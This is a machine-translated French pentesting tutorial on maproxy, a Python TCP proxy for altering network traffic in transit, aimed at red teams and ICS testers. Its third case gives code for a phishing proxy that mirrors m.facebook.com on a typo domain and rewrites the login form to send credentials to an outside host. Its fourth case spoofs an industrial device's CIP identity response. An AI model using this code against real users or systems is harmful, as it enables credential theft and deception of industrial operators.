Traitement des données réseau à la volée

Une traduction de l'article a été préparée avant le début du Pentest. Pratique des tests de pénétration . "





annotation


Une variété de types d'évaluation de la sécurité, des tests de pénétration réguliers et des opérations de l'équipe rouge au piratage des appareils IoT / ICS et SCADA, signifie travailler avec des protocoles réseau binaires, c'est-à-dire, essentiellement, intercepter et modifier des données réseau entre le client et la cible. Renifler le trafic réseau n'est pas une tâche difficile, car nous avons des outils tels que Wireshark, Tcpdump ou Scapy, mais la modification semble prendre plus de temps, car nous aurons besoin d'une interface unique pour lire les données réseau, les filtrer, les changer à la volée et les renvoyer à l'hôte cible en temps quasi réel. De plus, il serait idéal qu'un tel outil puisse fonctionner automatiquement avec plusieurs connexions parallèles et ait la possibilité de personnaliser à l'aide de scripts.

Une fois que j'ai découvert un outil appelé maproxy, la documentation m'a rapidement fait savoir maproxy- exactement ce dont j'avais besoin. Il s'agit d'un proxy TCP assez simple, polyvalent et facile à configurer. J'ai testé cet outil sur plusieurs applications assez complexes, y compris les périphériques ICS (qui génèrent de nombreux packages) pour savoir s'il peut fonctionner avec de nombreuses connexions parallèles, et l'outil a bien fonctionné.

Cet article vous présentera le traitement des données réseau à la volée avec maproxy.

Aperçu


L'outil est maproxybasé sur Tornado, un framework de réseau Python asynchrone populaire et bien développé.

En général, il peut fonctionner dans plusieurs modes:

  • TCP:TCP - connexions TCP non cryptées;
  • TCP:SSLet SSL:TCP- avec cryptage unidirectionnel;
  • SSL:SSL - cryptage bidirectionnel.

Il s'agit d'une bibliothèque. Pour un démarrage rapide, vous pouvez utiliser des exemples de fichiers qui reflètent les principales fonctions de la bibliothèque :

  • all.py
  • certificate.pem
  • logging_proxy.py
  • privatekey.pem
  • ssl2ssl.py
  • ssl2tcp.py
  • tcp2ssl.py
  • tcp2tcp.py

Cas 1 - Proxy bidirectionnel simple


Basé sur tcp2tcp.py:

#!/usr/bin/env python

import tornado.ioloop
import maproxy.proxyserver

server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()

Par défaut, il ProxyServer()prend deux arguments - l'emplacement de connexion et le port de destination. server.listen()prend un argument - le port pour écouter la connexion entrante.

Exécution de script:

# python tcp2tcp.py

Afin de réaliser le test, nous allons nous connecter au serveur SSH local via notre script proxy, qui écoute sur le 2222/tcpport et se connecte au port 22/tcpserveur SSH standard :



Une bannière de bienvenue nous informe que notre exemple de script a réussi à acheminer le trafic réseau par proxy.

Cas 2 - modification des données


Un autre script de démonstration est logging_proxy.pyidéal pour interagir avec les données du réseau. Les commentaires dans le fichier décrivent les méthodes de la classe que vous pouvez modifier pour atteindre votre objectif:



Les plus intéressantes ici:

  • on_c2p_done_read - intercepter des données sur le chemin du client vers le serveur;
  • on_p2s_done_read - inversé.

Essayons de changer la bannière SSH que le serveur renvoie au client:

[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]

Exécutez le script:



Comme vous pouvez le voir, le client a été induit en erreur, car pour lui le nom du serveur SSH a été changé en «DumnySSH».



Cas 3 - Page Web de phishing simple


Il existe un nombre infini d'utilisations pour cet outil. Cette fois, concentrons-nous sur quelque chose de plus pratique dans la zone d'opérations de l'équipe rouge. Imitons le Landing m.facebook.comet utilisons un domaine personnalisé avec une faute de frappe intentionnelle, par exemple m.facebok.com. À des fins de démonstration, supposez simplement que le domaine est enregistré par nous.

Nous allons établir une connexion réseau non cryptée avec notre proxy victimes et SSL Stream pour le serveur Facebook ( 31.13.81.36). Pour que cet exemple fonctionne, nous devons remplacer l'en-tête d'hôte HTTP et implémenter le nom d'hôte correct, et nous désactiverons également la compression des réponses pour accéder facilement à leur contenu. Au final, nous remplacerons le formulaire HTML afin que les identifiants de connexion nous soient envoyés, à la place des serveurs Facebook:

[…]
def on_c2p_done_read(self,data):
 # replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response
     data = data.replace("action=\"/login/", "action=\"https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]

Au final:



Comme vous pouvez le constater, nous avons réussi à remplacer le site d'origine.

Cas 4 - Port Ethernet / IP


Je travaille depuis un certain temps sur les appareils et logiciels industriels (ICS / SCADA), tels que les contrôleurs programmables (PLC), les modules d'E / S, les variateurs, les relais, les environnements de programmation en échelle, et bien plus encore. Ce cas est pour ceux qui aiment les trucs industriels. Le piratage de telles solutions implique un jeu actif avec des protocoles réseau. Dans l'exemple suivant, je voudrais montrer comment vous pouvez modifier le trafic réseau ICS / SCADA.

Pour ce faire, vous aurez besoin des éléments suivants:

  • Renifleur de réseau, par exemple, Wireshark;
  • Ethernet / IP ou simplement un appareil SIP, vous pouvez le trouver en utilisant le service Shodan;
  • Notre script est basé maproxy.

Pour commencer, voyons à quoi ressemble une réponse d'identification CIP (Common Industrial Protocol) typique: L'



identification du périphérique se fait à l'aide d'Ethernet / IP, qui est une version étendue d'Ethernet pour les applications industrielles, il encapsule les protocoles de contrôle tels que CIP. Nous allons changer le nom d'identification en surbrillance, qui peut être vu dans la capture d'écran de «NI-IndComm for Ethernet» à l' aide de notre script proxy. Nous pourrions réutiliser le script logging_proxy.pyet modifier de la même manière la méthode de classe on_p2s_done_read, car nous voulons qu'un nom d'identification différent soit visible sur le client.

Le code:

[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response

 # Checking if we got List Identity message response
     if data[26:28] == b'\x0c\x00':
         print('Got response, replacing')
         data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
     super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]

En fait, nous avons demandé l'identification de l'appareil deux fois, la deuxième réponse est l'original et la première a été modifiée à la volée.

Et le dernier


À mon avis, un maproxyoutil pratique et simple qui est également écrit en Python, donc je pense que vous pouvez également bénéficier de son utilisation. Bien sûr, il existe des outils plus sophistiqués pour le traitement et la modification des données réseau, mais ils nécessitent également plus d'attention et sont généralement créés pour un cas d'utilisation spécifique, par exemple, Muraena , Modlishka ou evilginx pour des cas similaires au troisième, ou canape pour le dernier cas. D'une manière ou d'une autre, avec l'aide, maproxyvous pouvez rapidement réaliser vos idées pour intercepter les données du réseau, car les exemples de script sont très clairs.



Test des mécanismes d'authentification dans Windows AD



All Articles